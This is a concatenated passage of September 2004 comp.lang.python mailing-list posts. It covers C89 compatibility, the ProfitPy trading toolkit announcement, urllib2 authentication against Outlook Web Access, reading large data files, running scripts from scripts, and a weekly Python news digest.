tuple(clsdict.values()) > __metaclass__ = alltuple WBMSWA12FB ! It never occurred to me that a metaclass didn't have to be a _class_. From aleaxit at yahoo.com Wed Sep 8 11:59:20 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Wed, 8 Sep 2004 17:59:20 +0200 Subject: %a format References: <20040907182925.GA27643@grulic.org.ar> <16702.1779.773067.819528@montanaro.dyndns.org> <mailman.3030.1094648924.5135.python-list@python.org> Message-ID: <1gjt34h.19o3zkj1bov737N%aleaxit@yahoo.com> John Lenton <john at grulic.org.ar> wrote: ... > > Note that Python uses sprintf() to do its dirty work, so any patch would > > have to implement %a itself to remain compatible with C89. > > is remaining compatible with C89 a requirement? Yes, until every C compiler on Earth implements C99 (in the same sense that every compiler at long last IS more or less implementing C89 just in these last few years) Python will surely not accept patches that make it impossible to compile Python with C89. Patches that let Python compile anyway, with more functionality offered only on C99, are a less clear-cut case, but I think there would be quite some bias against them, since using the extra functionality would make a program unportable to non-C99 Python builds; such platform-restricted functionality may be acceptable in the Python standard library, but the core language is generally considered a different matter. Alex From troy at gci.net Sat Sep 11 05:58:33 2004 From: troy at gci.net (Troy Melhase) Date: Sat, 11 Sep 2004 01:58:33 -0800 Subject: ANN: ProfitPy 0.1 Message-ID: <200409110158.33833.troy@gci.net> ProfitPy - An Automated Stock Trading Toolkit for Python ============================================================================= ProfitPy 0.1 Released 11 September 2004 What is ProfitPy? ----------------------------------------------------------------------------- ProfitPy is a set of libraries and tools for the development, testing, and execution of automated stock trading systems[1]. The main web site for the toolkit is here: http://profitpy.sourceforge.net/ Specifically, ProfitPy is a collection of Python packages, modules, and scripts that work together to help you implement an automated stock trading program (or programs). The package features: * A library with classes for accounts, orders, tickers, and more * A GUI program for executing and plotting trades in real-time[2] * A GUI tool to collect ticker data for off-line use * A CLI tool to back-test trading strategies * Dozens of technical indicators and plotting widgets to display them * An X11 keystroke tool for automating the TWS application Screenshots ----------------------------------------------------------------------------- A picture is worth a thousand words. It beats documentation, at least: http://profitpy.sourceforge.net/screenshots.html Where can I get ProfitPy? ----------------------------------------------------------------------------- ProfitPy is available for download from SourceForge: http://sourceforge.net/projects/profitpy What are the requirements? ----------------------------------------------------------------------------- ProfitPy requires the following packages. Newer versions may (or may not!) be substituted: * Python 2.3.4 http://www.python.org/ * PyKDE 3.11.3 http://www.riverbankcomputing.co.uk/pykde/ * PyQwt 4.0rc0 http://sourceforge.net/projects/pyqwt/ * SciPy 0.3 http://www.scipy.org/ * IbPy 0.4 http://sourceforge.net/projects/ibpy/ ProfitPy can make use of these optional components as well: * The Eric3 Python IDE http://www.die-offenbachs.de/detlev/eric3.html The ProfitPy main GUI features a source code viewing widget. If the Eric3 IDE is present and importable, its source editor widget will be used instead. * X11::GUITest http://sourceforge.net/projects/x11guitest The main GUI and the collection tool make use of a keystroke automation script for TWS. This script requires the X11::GUITest Perl package. ProfitPy applications and tools connect to the Interactive Brokers[3] client application to receive data and send orders. This system, TWS, requires a web browser capable of executing Sun(R) Java(tm) applets. TWS can also be started directly with Sun(R) Java(tm) and the stand-alone package supplied by IB. What is Python? ----------------------------------------------------------------------------- >From the "What is Python?" page (http://python.org/doc/Summary.html): Python is an interpreted, interactive, object-oriented programming language. It is often compared to Tcl, Perl, Scheme or Java. Python combines remarkable power with very clear syntax. It has modules, classes, exceptions, very high level dynamic data types, and dynamic typing. There are interfaces to many system calls and libraries, as well as to various windowing systems (X11, Motif, Tk, Mac, MFC). New built-in modules are easily written in C or C++. Python is also usable as an extension language for applications that need a programmable interface. The Python implementation is portable: it runs on many brands of UNIX, on Windows, DOS, OS/2, Mac, Amiga... If your favorite system isn't listed here, it may still be supported, if there's a C compiler for it. Ask around on comp.lang.python -- or just try compiling Python yourself. The Python implementation is copyrighted but freely usable and distributable, even for commercial use. What is TWS? ----------------------------------------------------------------------------- >From the page "Trader Execution and Clearing System Features" (http://interactivebrokers.com/html/companyInfo/market_ib.html): * IB's Trader Workstation can be run directly from your browser, or you can install it on your PC and run it from your desktop. This Java based application allows traders to quickly enter orders and see results. * Direct Access: Unlike other "online" brokers that send your order through an e-mail type system, IB offers a direct-access order entry system that transmits your order to the proper market center, usually within one second of entry. * Real-Time Streaming Quotes: Display real-time, streaming quotes for markets of interest to the investor. Quotes are live and change continuously as the markets change, no periodic manual update or "refresh" is required. What else? ----------------------------------------------------------------------------- ProfitPy is Free Software and is concordantly licensed under the GPL. Refer to the LICENSE file in the distribution for more information. I never intended to release this code to the public. Much of it is specific to my trading applications. Please note that the superficial design flaws are very important, as they hide the fundamental ones. YMMV. ProfitPy is not a product of Interactive Brokers, nor am I affiliated with IB. I am a satisfied IB customer, of course. The TWS demo system is available here: http://interactivebrokers.com/cgi-pub/jtslink.pl?user_name=edemo Thank you! ----------------------------------------------------------------------------- Thank you, for I am very interested in your experience with ProfitPy. Please drop me an note with any feedback you have. -- Troy Melhase, troy at gci.net -- Good and evil, reward and punishment, are the only motives to a rational creature: these are the spur and reins whereby all mankind are set on work, and guided. - Locke [1] I trade stocks, not futures, options, or anything else, just stocks. ProfitPy reflects this, but I know of nothing that limits the code to only stocks. [2] Please excuse the misuse of "real time". I understand that none of this is true real time. [3] Interactive Brokers website: http://www.interactivebrokers.com/ From spam at nimblegen.com Tue Sep 21 09:38:00 2004 From: spam at nimblegen.com (Chuck Dillon) Date: Tue, 21 Sep 2004 08:38:00 -0500 Subject: Xah Lee's Unixism In-Reply-To: <10kvqf4sr02fia0@corp.supernews.com> References: <s0utk01omk8aipn7vclocmdgokfu66bu2g@4ax.com> <10kvqf4sr02fia0@corp.supernews.com> Message-ID: <cipaqk$jfo$1@grandcanyon.binc.net> SM Ryan wrote: > > > In short, ding dong, the President _does_ have independent intelligence > gatherring ability. It's called the executive branch, and it's at his > beck and call for all legal orders. It's that commander in chief bit. > You missed the part of the constitution that speaks of checks and balances. By definition the 3 branches are co-dependent. Administration and oversight of our intelligence systems/agencies have been pretty sophisticated for a long time. Are you suggesting that somehow this administration has completely restructured it in just 3.5 years and somehow undermined the oversight authority of the congress? If, so you have a very high opinion of the abilities of this administration. I assume you think Tony Blair accomplished the same thing in the U.K... -- ced -- Chuck Dillon Senior Software Engineer NimbleGen Systems Inc. From clifford.wells at comcast.net Sun Sep 19 16:51:27 2004 From: clifford.wells at comcast.net (Cliff Wells) Date: Sun, 19 Sep 2004 13:51:27 -0700 Subject: Determining if a client PC has an Internet connection In-Reply-To: <ULh3d.1833$qA6.1085@newsread3.news.pas.earthlink.net> References: <1095578301.31957.263.camel@devilbox.devilnet.internal> <cijkdj$2bl$1@sea.gmane.org> <mailman.3499.1095589700.5135.python-list@python.org> <414d9c34$0$58894$75868355@news.frii.net> <ULh3d.1833$qA6.1085@newsread3.news.pas.earthlink.net> Message-ID: <1095627087.31957.319.camel@devilbox.devilnet.internal> On Sun, 2004-09-19 at 15:40 +0000, Andrew Dalke wrote: > Stuart McGraw wrote: > > I'm not sure this is 100% reliable either. I have several PCs on a home > > network with a Linux box running a local caching DNS server that is the > > primary (and sole) DNS server for the Windoze boxes.. That server is > > always reachable even when my modem internet connection is down. I'm not terribly concerned with this scenario for a couple of reasons: 1. This is a very atypical setup for the average home user 2. If you're running your own DNS server, you can probably figure it out for yourself. > And speaking of that case, the OP should add support (at least when > not on MS Windows) for the user to specify on-line/off-line. It does have this =) The idea here is that the user could download all their RSS feeds to their laptop and then read the news on the road. > I wasn't doing anything. Ah, that's what all users say ;) Regards, Cliff -- Cliff Wells <clifford.wells at comcast.net> From canopus at gmx.net Thu Sep 16 08:31:01 2004 From: canopus at gmx.net (Sebastian Krause) Date: Thu, 16 Sep 2004 14:31:01 +0200 Subject: python: ascii read In-Reply-To: <cibvhf$qrh$1@news1.ucsd.edu> References: <cibndt$p2v$1@fsuj29.rz.uni-jena.de> <cibvhf$qrh$1@news1.ucsd.edu> Message-ID: <41498785.2020502@gmx.net> The input data is is large ascii file of astrophysical parameters (integer and float) of gaydynamics calculations. They should be read in as an array of integer and float numbers not as string (as open() and read() does). Then the array is used to make different plots from the data and do some (simple) operations: subtraction and divison of columns. I am using Scipy with Python 2.3.x under Linux (SuSE 9.1). Sebastian Robert Kern wrote: > Sebastian Krause wrote: > >> Hello, >> >> I tried to read in some large ascii files (200MB-2GB) in Python using >> scipy.io.read_array, but it did not work as I expected. The whole idea >> was to find a fast Python routine to read in arbitrary ascii files, to >> replace Yorick (which I use right now and which is really fast, but >> not as general as Python). The problem with scipy.io.read_array was, >> that it is really slow, returns errors when trying to process large >> files and it also changes (cuts) the files (after scipy.io.read_array >> processed a 2GB file its size was only 64MB). >> >> Can someone give me hint how to use Python to do this job correctly >> and fast? (Maybe with another read-in routine.) > > > What kind of data is it? What operations do you want to perform on the > data? What platform are you on? > > Some of the scipy.io.read_array behavior that you see look like bugs. We > would greatly appreciate it if you were to send a complete bug report to > the scipy-dev mailing list. Thank you. > From vincent at visualtrans.de Fri Sep 24 13:59:05 2004 From: vincent at visualtrans.de (vincent wehren) Date: Fri, 24 Sep 2004 19:59:05 +0200 Subject: reading a rar archive.... In-Reply-To: <19Z4d.2105$Pd2.714832@monger.newsread.com> References: <19Z4d.2105$Pd2.714832@monger.newsread.com> Message-ID: <cj1n96$hai$1@news1.zwoll1.ov.home.nl> Rene Lopez wrote: > Is there any way to get python to read files from a rar archive? > There is PyUnRAR at http://www.averdevelopment.com/python/. AFAIK it's Windows only. HTH -- Vincent Wehren From pascal.parent at free.fr Thu Sep 23 05:41:38 2004 From: pascal.parent at free.fr (Pascal) Date: 23 Sep 2004 02:41:38 -0700 Subject: OWA (Outlook Web Access) with urllib2 Message-ID: <e567c03a.0409230141.1160c1d@posting.google.com> Hello, I want to acces my OWA (Outlook Web Acces - http Exchange interface) server with urllib2 but, when I try, I've always a 401 http error. Can someone help me (and us)? Thanks. here's my pyscript: ( Python 2.3.3 (#1, Apr 6 2004, 01:47:39) - [GCC 3.3.3 (SuSE Linux)] on linux2 ) ************************************************************************ #! /usr/bin/python import urllib2 # set authentification auth = urllib2.HTTPBasicAuthHandler() auth.add_password('owa.mydomain', 'http://owa.mydomain/', '**USERNAME**', '**PASSWORD**') # don't use proxy prox = urllib2.ProxyHandler({}) # installation opener = urllib2.build_opener(prox, auth) urllib2.install_opener(opener) # start url = urllib2.urlopen('http://owa.mydomain/exchange/') print url.readlines() ************************************************************************ here's the traceback: ************************************************************************ > ./owa.py Traceback (most recent call last): File "./owa.py", line 22, in ? url = urllib2.urlopen('http://owa.mydomain/exchange/') File "/usr/lib/python2.3/urllib2.py", line 129, in urlopen return _opener.open(url, data) File "/usr/lib/python2.3/urllib2.py", line 326, in open '_open', req) File "/usr/lib/python2.3/urllib2.py", line 306, in _call_chain result = func(*args) File "/usr/lib/python2.3/urllib2.py", line 901, in http_open return self.do_open(httplib.HTTP, req) File "/usr/lib/python2.3/urllib2.py", line 895, in do_open return self.parent.error('http', req, fp, code, msg, hdrs) File "/usr/lib/python2.3/urllib2.py", line 352, in error return self._call_chain(*args) File "/usr/lib/python2.3/urllib2.py", line 306, in _call_chain result = func(*args) File "/usr/lib/python2.3/urllib2.py", line 412, in http_error_default raise HTTPError(req.get_full_url(), code, msg, hdrs, fp) urllib2.HTTPError: HTTP Error 401: Acc?s refus? ************************************************************************ here's the LiveHTTPheaders/Firefox debug: ( the web page is well delivered ) ************************************************************************ http://owa.mydomain/exchange/ GET /exchange/ HTTP/1.1 Host: owa.mydomain User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7) Gecko/20040804 Firefox/0.9.3 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Connection: keep-alive HTTP/1.x 401 Acc?s refus? Server: Microsoft-IIS/5.0 Date: Thu, 23 Sep 2004 08:56:03 GMT WWW-Authenticate: Negotiate WWW-Authenticate: NTLM WWW-Authenticate: Basic realm="owa.mydomain" Connection: close Content-Length: 21 Content-Type: text/html GET /exchange/ HTTP/1.1 Host: owa.mydomain User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7) Gecko/20040804 Firefox/0.9.3 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Connection: keep-alive Authorization: Basic CGFYZW50CDPOC3FTEXAQKG== HTTP/1.x 200 OK Server: Microsoft-IIS/5.0 Date: Thu, 23 Sep 2004 08:56:15 GMT Set-Cookie: sessionid=xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx,0x409; path=/exchange/ Content-Type: text/html Content-Length: 1071 MS-WebStorage: 6.0.6249 Cache-Control: no-cache ************************************************************************ From dave at pythonapocrypha.com Tue Sep 28 19:04:15 2004 From: dave at pythonapocrypha.com (Dave Brueck) Date: Tue, 28 Sep 2004 17:04:15 -0600 Subject: annoying behavior In-Reply-To: <cjcqao$ji0$1@gemini.csx.cam.ac.uk> References: <9418be08.0409280856.9368ddf@posting.google.com> <cjc61h$ag0$1@news2.wdf.sap.corp> <9418be08.0409281438.25e2abe@posting.google.com> <cjcqao$ji0$1@gemini.csx.cam.ac.uk> Message-ID: <4159EDEF.9070702@pythonapocrypha.com> Michael Hoffman wrote: > Elbert Lev wrote: > >> I think, it would be good, if some sort of warning is given during >> import, but not during instantiating the instance of the class. At >> least in a "debug" mode. What really did happen: the bug was reported >> after the scrip was running for 30 minutes. PyCheck finds it >> immediatelly. Why not to do the same kind of check in the interpreter? > > > Can you post the results of your PyChecker run and the exact input to it? [snip] > I think that what you want the Python compiler to do is harder than you > think it is, and not all cases will be caught unless you actually run > the program. Also, it's not necessarily a mistake/bug, which is why it would make sense for PyChecker to report it as a warning (if at all) and not the interpreter. From lbates at swamisoft.com Mon Sep 13 16:25:31 2004 From: lbates at swamisoft.com (Larry Bates) Date: Mon, 13 Sep 2004 15:25:31 -0500 Subject: Find first in sequence (simple question) References: <mailman.3255.1095103389.5135.python-list@python.org> Message-ID: <hIednSNjZsqun9vcRVn-ug@comcast.com> One easy way (not tested): # # target value you are searching for # nlist holds list of values to search # nlist=[1,3,5,7,9] target=2 larger_value=None for value in nlist: if value > target: larger_value=value break print larger_value "Neal D. Becker" <ndbecker2 at verizon.net> wrote in message news:mailman.3255.1095103389.5135.python-list at python.org... > What is an efficient way to find the first element in a sequence meeting > some condition? > > For example, the first number > x in a list of numbers. > > From guettli at thomas-guettler.de Mon Sep 6 10:42:58 2004 From: guettli at thomas-guettler.de (Thomas Guettler) Date: Mon, 06 Sep 2004 16:42:58 +0200 Subject: Python daemon and popen2 References: <mailman.2846.1094238733.5135.python-list@python.org> Message-ID: <pan.2004.09.06.14.42.58.757044@thomas-guettler.de> Am Fri, 03 Sep 2004 15:12:04 -0400 schrieb Bob Swerdlow: > I've created a Python daemon that starts a bunch of BitTorrent downloader > process. Everything is working fine when I start the daemon by hand (logged > on as root). I can quit the session and see that the daemon is running and > the subprocesses are running, too. However, when I configure the system to > automatically start the daemon on boot-up, the daemon runs, but the > processes are not created. > > This is on Solaris 8 with Python 2.3.3. The processes are started with > popen2. I'm starting the processes with a script in /etc/rc3.d/S81btseeds. > > Any suggestions? Why should it care that it is running at start-up? Hi, The environment is different. Check for $HOME, $PATH, umask, ... HTH, Thomas From carribeiro at gmail.com Tue Sep 14 10:15:44 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Tue, 14 Sep 2004 11:15:44 -0300 Subject: Ranting about the state of Python IDEs for Windows In-Reply-To: <HLEGKHKIKMEHENBAEIEPAEEFCIAA.ben@benlast.com> References: <864d3709040913131077f1732d@mail.gmail.com> <HLEGKHKIKMEHENBAEIEPAEEFCIAA.ben@benlast.com> Message-ID: <864d370904091407152babb258@mail.gmail.com> On Tue, 14 Sep 2004 14:04:24 +0100, Ben Last <ben at benlast.com> wrote: > In other words, don't look for one tool that does it all, but assemble a set > of them, and use parts of each. That's what I'm doing right now. The problem is that I'm finding it very unproductive. On the top of all problems, the DOS Shell is really a bad choice. Maybe you're right and using Cygwin will alleviate some of the problems that I keep running into. The problem may be abbreviated very simply: I hate to switch mental context very often. It's tiring, and impacts my concentration. And that's exactly what happens when I have to manage a 12+ of tools. I would like to concentrate on the problem at hand, instead to be constantly moving windows around to remove some clutter. Now that I'm ranting, I have some ideas to solve this problem. My dream is to have a different approach for the window manager -- one that not only saves sessions, but is able to manage sessions in a more effective way. I would like to have a code editing session, and a test-run session, with different layouts (may be with the same tools). Everything would be automatically updated upon session switching. A button on my taskbar would have me editing my code; clicking on other button, and the windows would be automatically repositioned, resized, minimized, or reopened, to start the test run. I could have separate sessions for my mail and web browsing, or to edit documentation. Everything clean and uncluttered. It's a dream, because all window managers that I know (and that's a lot) are not able to do it -- even the ones which already support multiple displays or session persistence are nit able to match my requirements. <sigh>. p.s. I know that there is another solution for this problem... but involves money (a lot of). Have a couple of big monitors (21', anyone?), side by side, and open as many windows as you wish. Position them where you want them to be, without overlapping. That's happiness :-) -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From godoy at ieee.org Wed Sep 15 16:25:31 2004 From: godoy at ieee.org (Jorge Godoy) Date: Wed, 15 Sep 2004 17:25:31 -0300 Subject: up with PyGUI! References: <mailman.3318.1095180577.5135.python-list@python.org> <m3vfeg69xp.fsf@g2ctech.com> <2qq5adF133c5kU1@uni-berlin.de> <m3isaf1xki.fsf@g2ctech.com> <1gk5wxv.1rnwtamytx5m5N%aleaxit@yahoo.com> Message-ID: <m3pt4nwa84.fsf@g2ctech.com> aleaxit at yahoo.com (Alex Martelli) writes: >> I really would like a lot if it was possible to write >> non-GPL code with Qt (not that I'm against GPL software, but some > > It's perfectly possible: Trolltech, the authors of Qt, will be extremely > happy to sell you a commercial license of Qt so you can develop and sell > your code as closed-source or whatever. Then I'd have to buy something like PyQT, and then I'd have to buy something like ... :-) I like the widgets, and the visual, but I can't afford buying a whole toolchain for using it. So, I use the tools that are free, that allow the commercial use, and when it is not possible, I let the client choose paying for something commercial that he will keep after the project delivery (after all, he paid for that) or writing free software (free software was their choice 75% of the time, this is another reason I wouldn't invest on buying a license of Qt for commercial software...). > Me too (well, not Photoshop, actually -- if I had to process images I > think I'd use GIMP instead), so I use them on my Mac iBook 12" laptop > (whose operating system's guts aren't all that far from FreeBSD -- > there's some Mach microkernel involved, but it's very unlikely that > could possibly be a problem -- those guts are all opensource, too, under > the name of 'Darwin'). Indeed. Macs are cool, but expensive. Our salaries here in .br are not like your in the US or Europe... :-) -- Godoy. <godoy at ieee.org> From python-url at phaseit.net Tue Sep 28 22:08:06 2004 From: python-url at phaseit.net (Cameron Laird) Date: Wed, 29 Sep 2004 02:08:06 GMT Subject: Dr. Dobb's Python-URL! - weekly Python news and links (Sep 29) Message-ID: <cjd57c$i58$1@lairds.us> QOTW: "You *did* signal that quite adequately. This, however, is comp.lang.python and clear signals never stopped anyone. <wink>" Peter Hansen "I think that the problem with debuggers is the same as with optimization -- it's too easy to start doing it prematurely." Carlos Ribeiro Gerrit Holl lists subtleties of a "straightforward" problem, and starts to solve them: http://www.google.com/groups?selm=mailman.4001.1096357473.5135.python-list%40python.org A workshop on High Productivity Python on 12 October might still have openings for presentations. http://groups.google.com/groups?th=bc16bbd85b4d10d9 Dabo is "a true three-tier design" portable wxPython-based freely-available framework. http://groups.google.com/groups?th=78be1e32fa9ac645 Vinay Sajip explains that logging is easier than its documentation has made it appear to be. http://groups.google.com/groups?selm=JqSdnXgsbLTkosXcRVn-vw%40powergate.ca Resumable exceptions are too complicated for Python--probably. http://groups.google.com/groups?frame=left&th=eebe9a8d1fee47f5 How does one get the zip module to do something useful? Adept Pythoneers start the way they start with *all* questions: by asking the module to explain itself. http://groups.google.com/groups?frame=left&th=586b1ae0d7d403cc http://groups.google.com/groups?frame=left&th=5814e0fbe3ef7679 http://groups.google.com/groups?frame=left&th=8f06411b073cf498 ======================================================================== Everything Python-related you want is probably one or two clicks away in these pages: Python.org's Python Language Website is the traditional center of Pythonia http://www.python.org Notice especially the master FAQ http://www.python.org/doc/FAQ.html PythonWare complements the digest you're reading with the marvelous daily python url http://www.pythonware.com/daily Mygale is a news-gathering webcrawler that specializes in (new) World-Wide Web articles related to Python. http://www.awaretek.com/nowak/mygale.html While cosmetically similar, Mygale and the Daily Python-URL are utterly different in their technologies and generally in their results. comp.lang.python.announce announces new Python software. Be sure to scan this newsgroup weekly. http://groups.google.com/groups?oi=djq&as_ugroup=comp.lang.python.announce Brett Cannon continues the marvelous tradition established by Andrew Kuchling and Michael Hudson of intelligently summarizing action on the python-dev mailing list once every other week. http://www.python.org/dev/summary/ The Python Package Index catalogues packages. http://www.python.org/pypi/ The somewhat older Vaults of Parnassus ambitiously collects references to all sorts of Python resources. http://www.vex.net/~x/parnassus/ Much of Python's real work takes place on Special-Interest Group mailing lists http://www.python.org/sigs/ The Python Business Forum "further[s] the interests of companies that base their business on ... Python." http://www.python-in-business.org Python Success Stories--from air-traffic control to on-line match-making--can inspire you or decision-makers to whom you're subject with a vision of what the language makes practical. http://www.pythonology.com/success The Python Software Foundation (PSF) has replaced the Python Consortium as an independent nexus of activity. It has official responsibility for Python's development and maintenance. http://www.python.org/psf/ Among the ways you can support PSF is with a donation. http://www.python.org/psf/donate.html Cetus collects Python hyperlinks. http://www.cetus-links.org/oo_python.html Python FAQTS http://python.faqts.com/ The Cookbook is a collaborative effort to capture useful and interesting recipes. http://aspn.activestate.com/ASPN/Cookbook/Python Among several Python-oriented RSS/RDF feeds available are http://www.python.org/channews.rdf http://bootleg-rss.g-blog.net/pythonware_com_daily.pcgi http://python.de/backend.php For more, see http://www.syndic8.com/feedlist.php?ShowMatch=python&ShowStatus=all The old Python "To-Do List" now lives principally in a SourceForge reincarnation. http://sourceforge.net/tracker/?atid=355470&group_id=5470&func=browse http://python.sourceforge.net/peps/pep-0042.html The online Python Journal is posted at pythonjournal.cognizor.com. editor at pythonjournal.com and editor at pythonjournal.cognizor.com welcome submission of material that helps people's understanding of Python use, and offer Web presentation of your work. *Py: the Journal of the Python Language* http://www.pyzine.com Archive probing tricks of the trade: http://groups.google.com/groups?oi=djq&as_ugroup=comp.lang.python&num=100 http://groups.google.com/groups?meta=site%3Dgroups%26group%3Dcomp.lang.python.* Previous - (U)se the (R)esource, (L)uke! - messages are listed here: http://www.ddj.com/topics/pythonurl/ http://purl.org/thecliff/python/url.html (dormant) or http://groups.google.com/groups?oi=djq&as_q=+Python-URL!&as_ugroup=comp.lang.python Suggestions/corrections for next week's posting are always welcome. E-mail to <Python-URL at phaseit.net> should get through. To receive a new issue of this posting in e-mail each Monday morning (approximately), ask <claird at phaseit.net> to subscribe. Mention "Python-URL!". -- The Python-URL! Team-- Dr. Dobb's Journal (http://www.ddj.com) is pleased to participate in and sponsor the "Python-URL!" project. From kjetilho at yksi.ifi.uio.no Sun Sep 26 10:52:31 2004 From: kjetilho at yksi.ifi.uio.no (Kjetil Torgrim Homme) Date: Sun, 26 Sep 2004 16:52:31 +0200 Subject: [OT] "Pre-announcement" of Python-based "computing appliance" project. References: <1n04l012a3f2vktokrc0gi7ji13tuvjkd9@4ax.com> <89adnWTWC6JVscncRVn-uw@giganews.com> Message-ID: <1r1xgp2ic0.fsf@glesvat.ifi.uio.no> [Istvan Albert]: > > Pick a simple task, design a program that does it and make it as > simple as you can. Then grab a few people off the street, take > them to a room, ask them to perform the task, leave the room, then > watch them try to accomplish that task. The lessons you learn in a > few hours will last you a lifetime. You'll then understand why > this "generic computing appliance" serving the "needs of a typical > user" makes no sense whatsoever. making a single, specific appliance is very different from making a general tool to augment man's capabilities. grab a random person and put him in a car. how far would he go without extensive training? sometimes you have to spend time to save time. -- Kjetil T. From mahasamatman at nm.ru Wed Sep 1 06:36:30 2004 From: mahasamatman at nm.ru (Vladimir Ivanov) Date: Wed, 01 Sep 2004 13:36:30 +0300 Subject: Script executes script? In-Reply-To: <c869ac1b.0409010014.4c581fc@posting.google.com> References: <c869ac1b.0409010014.4c581fc@posting.google.com> Message-ID: <ch48mm$4ph$1@sea.gmane.org> Mipe wrote: > Hello, > > for a testmodule I need to execute a python script from within a > python script. Something like: > > -- ScriptA --> > import whatever > > RunScript("scriptb.py") > RunScript("scriptc.py") > <-- Script A -- > > Is this possible? I didn't find a possibility to do this. > > Would be nice if you could give me some advice here. > > Thank you, > Mipe import os path_to_python = "c:\\Python23\\python.exe" path_to_script = "e:\\temp\\test.py" os.system(path_to_python + " " + path_to_script) From cpl.19.ghum at spamgourmet.com Sun Sep 19 17:56:44 2004 From: cpl.19.ghum at spamgourmet.com (Harald Massa) Date: Sun, 19 Sep 2004 21:56:44 +0000 (UTC) Subject: sys.setdefaultencoding(name) References: <Xns9568641F5C869askariaddressNonVali@207.35.177.135> <Xns9568A73F4BFF9cpl19ghumspamgourmet@195.20.224.116> <Xns956957916F419askariaddressNonVali@207.35.177.135> Message-ID: <Xns9569F39D2C884cpl19ghumspamgourmet@195.20.224.116> Askari, > """ > import site > site.encoding = "latin_1" > """ > > Why? > And, I do the good think? (site.encoding = "latin_1") No, you do a the bad thing. You have to EDIT the site.py within python\lib\site.py open it within an editor, find "ASCII" and replace by latin1 site.encodiging="Latin_1" just adds an attribute NOBODY cares for to a module in memory. Harald From dperl at rogers.com Wed Sep 1 12:24:32 2004 From: dperl at rogers.com (Dan Perl) Date: Wed, 01 Sep 2004 16:24:32 GMT Subject: initializing mutable class attributes References: <J4zYc.102357$UTP.98636@twister01.bloor.is.net.cable.rogers.com><1gjc8cs.sqvo1v1fhabdjN%aleaxit@yahoo.com><eTHYc.205$yqJ1.68@news04.bloor.is.net.cable.rogers.com><1gje9dn.r6jpetyroi0N%aleaxit@yahoo.com><8JbZc.140699$UTP.23045@twister01.bloor.is.net.cable.rogers.com><1gjfkp7.aepmjg11ubf2rN%aleaxit@yahoo.com><iolZc.115894$pTn.53552@news01.bloor.is.net.cable.rogers.com> <m3n00aggxu.fsf@g2ctech.com> <unmZc.157756$UTP.69766@twister01.bloor.is.net.cable.rogers.com> <ch4skh$223$04$1@news.t-online.com> Message-ID: <4JmZc.158232$UTP.119324@twister01.bloor.is.net.cable.rogers.com> I'm not sure what you mean by removing the object as ancestor, but here is a modified code similar to Jorge's and it doesn't work: class test: pass class derived(test): def __init__(self): test.__init__(self) d = derived() The call to test.__init__(self) raises an AttributeError exception. Dan "Diez B. Roggisch" <deetsNOSPAM at web.de> wrote in message news:ch4skh$223$04$1 at news.t-online.com... > Dan Perl wrote: > > > My mistake. You're right, and it's all because of the inheritance from > > 'object', which probably defines a default, empty, __init__. I haven't > > made a habit of subclassing from 'object' yet and I see that I'll have to > > do > > that. Thanks. > > You can safely remove the object as ancestor - it works with old-style > classes, too. > > -- > Regards, > > Diez B. Roggisch From peter at engcorp.com Fri Sep 10 11:31:16 2004 From: peter at engcorp.com (Peter Hansen) Date: Fri, 10 Sep 2004 11:31:16 -0400 Subject: Electronic voting feasibility In-Reply-To: <8PWdnfxkGeIFWNzcRVn-qQ@giganews.com> References: <chr77a$4gj@odak26.prod.google.com> <-_CdnSvxZtZcPdzcRVn-iw@giganews.com> <mailman.3140.1094820652.5135.python-list@python.org> <otKdnctyIcclNtzcRVn-gg@giganews.com> <28KdnThSO7DtM9zcRVn-pQ@powergate.ca> <8PWdnfxkGeIFWNzcRVn-qQ@giganews.com> Message-ID: <K9ydnRpo-6dZVdzcRVn-vw@powergate.ca> Istvan Albert wrote: > Peter Hansen wrote: >> What are they trying to manipulate you to do, > > Take everything they say as the only truth. Ah, I see. Anyone who doesn't explicitly tell you to verify that what she says is the "only" truth is actually trying to manipulate you into believing only her words... Now I get it. ;-) (By the way, so far I've been able to independently confirm a lot of what is said there, from news reports and other sites. But perhaps it's just a conspiracy?) -Peter From adalke at mindspring.com Tue Sep 28 12:26:16 2004 From: adalke at mindspring.com (Andrew Dalke) Date: Tue, 28 Sep 2004 16:26:16 GMT Subject: getrecursiondepth In-Reply-To: <lhifl0969k5s8c87b9cg2pqrbe3in9oiv3@4ax.com> References: <27eal09cb6ggho5gbstgkbmvgillnova08@4ax.com> <cj3rd9$i9j$1@pegasus.csx.cam.ac.uk> <qebbl0l43c891b21udregn2pvj3phbfp90@4ax.com> <yMn5d.9974$gG4.9921@newsread1.news.pas.earthlink.net> <lf1dl0tqo6kui5gi2qmhgdqq0qdqfeqei0@4ax.com> <6fD5d.10550$gG4.6048@newsread1.news.pas.earthlink.net> <lhifl0969k5s8c87b9cg2pqrbe3in9oiv3@4ax.com> Message-ID: <Igg6d.12242$gG4.6109@newsread1.news.pas.earthlink.net> Manlio Perillo wrote: >>>1) To write code that execute once in a function (as C static >>>variables) >>>2) To guard against too many recursion > def spam(x): > if getrecursiondepth() == 1: > # initialization code > > This is equivalent to C++ code: > > struct Init > { > Init() { /* initialization code */ } > }; > > void spam(int x) > { > static Init init; > ... > } No, it isn't. It requires that spam() be called from the top-level code. But what if it's called from the unittest framework? Then the depth will be lower. Try this as a alternate solution for your style of use. It's still not the right one because it doesn't handle reloads nor multiple functions created through exec's. _firsttime_db = {} def firsttime(): frame = sys._getframe(1) tag = (frame.f_lineno, frame.f_code.co_filename) if tag in _firsttime_db: return 0 _firsttime_db[tag] = 1 return 1 >>> def spam(): ... if firsttime(): ... print "Hello!" ... print "called" ... >>> spam() Hello! called >>> spam() called >>> spam() called >>> You could 